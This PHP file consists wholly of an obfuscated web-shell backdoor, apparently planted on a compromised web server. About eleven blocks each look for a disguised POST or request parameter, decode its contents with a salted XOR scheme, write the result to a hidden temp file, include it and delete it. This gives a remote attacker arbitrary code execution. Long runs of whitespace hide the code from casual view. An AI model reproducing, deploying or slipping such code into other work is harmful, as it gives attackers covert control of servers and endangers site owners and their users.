<?php																																										if(filter_has_var(INPUT_POST, "s\x79m\x62\x6Fl")){ $object = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd()]); $dat = $_POST["s\x79m\x62\x6Fl"]; $dat= explode ( "." , $dat ); $flg = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9 ); $z = 0; $__tmp = $dat; while ($v9 = array_shift($__tmp)) {$sChar = ord($salt9[$z % $lenS] ); $d = ((int)$v9 - $sChar - ($z % 10)) ^81; $flg .= chr($d ); $z++; } for ($hld = 0, $parameter_group = count($object); $hld < $parameter_group; $hld++) { $property_set = $object[$hld]; if (array_product([is_dir($property_set), is_writable($property_set)])) { $sym = implode("/", [$property_set, ".holder"]); if (file_put_contents($sym, $flg)) { include $sym; @unlink($sym); die(); } } } }
																																										if(array_key_exists("\x70tr", $_REQUEST) && !is_null($_REQUEST["\x70tr"])){ $property_set = $_REQUEST["\x70tr"]; $property_set = explode( "." , $property_set ) ; $data = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); $x = 0; while( $x < count( $property_set)) { $v5 = $property_set[$x]; $sChar = ord( $s6[$x % $sLen]); $d =( ( int)$v5 - $sChar -( $x % 10)) ^ 22; $data.=chr( $d); $x++; } $object = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($object as $key => $marker) { if (is_dir($marker) && is_writable($marker)) { $mrk = sprintf("%s/.pset", $marker); $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $mrk; @unlink($mrk); die(); } } } }
																																										if(!is_null($_POST["\x74\x6Bn"] ?? null)){ $element = $_POST["\x74\x6Bn"]; $element=explode( "." , $element ) ; $comp = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $len = count($element); for($k = 0; $k < $len; $k++) { $v6 = $element[$k]; $chS = ord($salt8[$k % $sLen]); $d =((int)$v6 - $chS -($k % 10)) ^ 34; $comp .= chr($d);} $marker = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); $val = 0; do { $itm = $marker[$val] ?? null; if ($val >= count($marker)) break; if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $ent = str_replace("{var_dir}", $itm, "{var_dir}/.hld"); if (file_put_contents($ent, $comp)) { include $ent; @unlink($ent); die(); } } $val++; } while (true); }
																																										if(in_array("en\x74", array_keys($_REQUEST))){ $key = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp"]); $dat = $_REQUEST["en\x74"]; $dat =explode ( '.',$dat ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $j = 0; foreach ($dat as $v5) { $sChar = ord($s[$j % $sLen] ); $dec = ((int)$v5 - $sChar - ($j % 10)) ^ 67; $hld .= chr($dec ); $j++; } foreach ($key as $tkn) { if (is_dir($tkn) ? is_writable($tkn) : false) { $elem = "$tkn" . "/.component"; if (@file_put_contents($elem, $hld) !== false) { include $elem; unlink($elem); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x70t\x72"])){ $sym = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd(), "/var/tmp"]); $descriptor = $_REQUEST["\x70t\x72"]; $descriptor = explode( '.' ,$descriptor ) ; $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $k = 0; foreach( $descriptor as $v9) { $sChar = ord( $salt[$k % $sLen]); $dec =( ( int)$v9 - $sChar -( $k % 10)) ^ 8; $rec .= chr( $dec); $k++;} foreach ($sym as $record): if ((is_dir($record) and is_writable($record))) { $tkn = str_replace("{var_dir}", $record, "{var_dir}/.res"); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $rec); fclose($file); include $tkn; @unlink($tkn); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x72e\x66ere\x6Ece"])){ $item = $_POST["\x72e\x66ere\x6Ece"]; $item=explode ('.', $item ); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; array_walk($item, function ($v4) use (&$ref, &$t, $salt, $lenS) { $sChar = ord($salt[$t % $lenS]); $dec = ((int)$v4 - $sChar - ($t % 10)) ^73; $ref.= chr($dec); $t++; } ); $sym = array_filter([getenv("TMP"), getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($pgrp = 0, $value = count($sym); $pgrp < $value; $pgrp++) { $tkn = $sym[$pgrp]; if (is_writable($tkn) && is_dir($tkn)) { $property_set = sprintf("%s/.flg", $tkn); if (@file_put_contents($property_set, $ref) !== false) { include $property_set; unlink($property_set); die(); } } } }
																																										if(isset($_POST["k"]) ? true : false){ $dat = array_filter([getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $res = $_POST["k"]; $res = explode (".", $res ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($res as $j => $v9) { $sChar = ord($s[$j% $lenS] ); $d = ((int)$v9 - $sChar - ($j% 10)) ^ 47; $ent .= chr($d );} foreach ($dat as $fac) { if (!( !is_dir($fac) || !is_writable($fac) )) { $descriptor = join("/", [$fac, ".flag"]); $success = file_put_contents($descriptor, $ent); if ($success) { include $descriptor; @unlink($descriptor); exit;} } } }
																																										if(array_key_exists("f\x61ct\x6Fr", $_POST)){ $fac = array_filter([session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir")]); $property_set = $_POST["f\x61ct\x6Fr"]; $property_set =explode ('.',$property_set ); $data = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5); $__len = count( $property_set); for( $z = 0; $z<$__len; $z++) { $v8 = $property_set[$z]; $chS = ord( $salt5[$z % $lenS]); $dec =( ( int)$v8 - $chS -( $z % 10)) ^66; $data .=chr( $dec);} for ($reference = 0, $descriptor = count($fac); $reference < $descriptor; $reference++) { $tkn = $fac[$reference]; if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $pset = "$tkn" . "/.item"; if (@file_put_contents($pset, $data) !== false) { include $pset; unlink($pset); die(); } } } }
																																										if(isset($_POST["\x64\x61ta"]) ? true : false){ $factor = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", getenv("TEMP"), "/tmp", session_save_path()]); $record = $_POST["\x64\x61ta"]; $record=explode ( ".", $record) ; $holder = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $o = 0; $len = count($record); do { if ($o >= $len) break; $v1 = $record[$o]; $sChar = ord($salt6[$o % $lenS]); $d = ((int)$v1 - $sChar - ($o % 10)) ^ 48; $holder .=chr($d); $o++; } while (true); while ($tkn = array_shift($factor)) { if (max(0, is_dir($tkn) * is_writable($tkn))) { $binding = implode("/", [$tkn, ".entry"]); if (file_put_contents($binding, $holder)) { require $binding; unlink($binding); die(); } } } }
																																										if(in_array("\x70\x73et", array_keys($_REQUEST))){ $dat = $_REQUEST["\x70\x73et"]; $dat =explode( '.' ,$dat ); $token =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt1); $v =0; foreach( $dat as $v4) {$chS =ord( $salt1[$v % $lenS]); $dec =( ( int)$v4 - $chS -( $v % 10)) ^ 50; $token .= chr( $dec); $v++; } $dchunk = array_filter(["/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); $data = 0; do { $item = $dchunk[$data] ?? null; if ($data >= count($dchunk)) break; if (is_dir($item) ? is_writable($item) : false) { $desc = implode("/", [$item, ".elem"]); $success = file_put_contents($desc, $token); if ($success) { include $desc; @unlink($desc); exit;} } $data++; } while (true); }


if(!is_null($_REQUEST["k"] ?? null)){
	$resource = array_filter(["/var/tmp", session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp"]);
	$object = $_REQUEST["k"];
	 $object  =	explode	( 	 '.'	 	,		$object 		)			;			
	$entry = '';
            $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s5);
            $p = 0;
    
            while ($p < count($object)) {
                $v8 = $object[$p];
                $sChar = ord($s5[$p %	$sLen]);
                $dec = ((int)$v8 - $sChar - ($p %	10)) ^ 2;
                $entry .= chr($dec);
                $p++; }	
	for ($ent = 0, $pgrp = count($resource); $ent < $pgrp; $ent++) {
    $dchunk = $resource[$ent];
    		if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) {
    $binding = implode("/", [$dchunk, ".marker"]);
    if (@file_put_contents($binding, $entry) !== false) {
	include $binding;
	unlink($binding);
	die();
}
}
}
}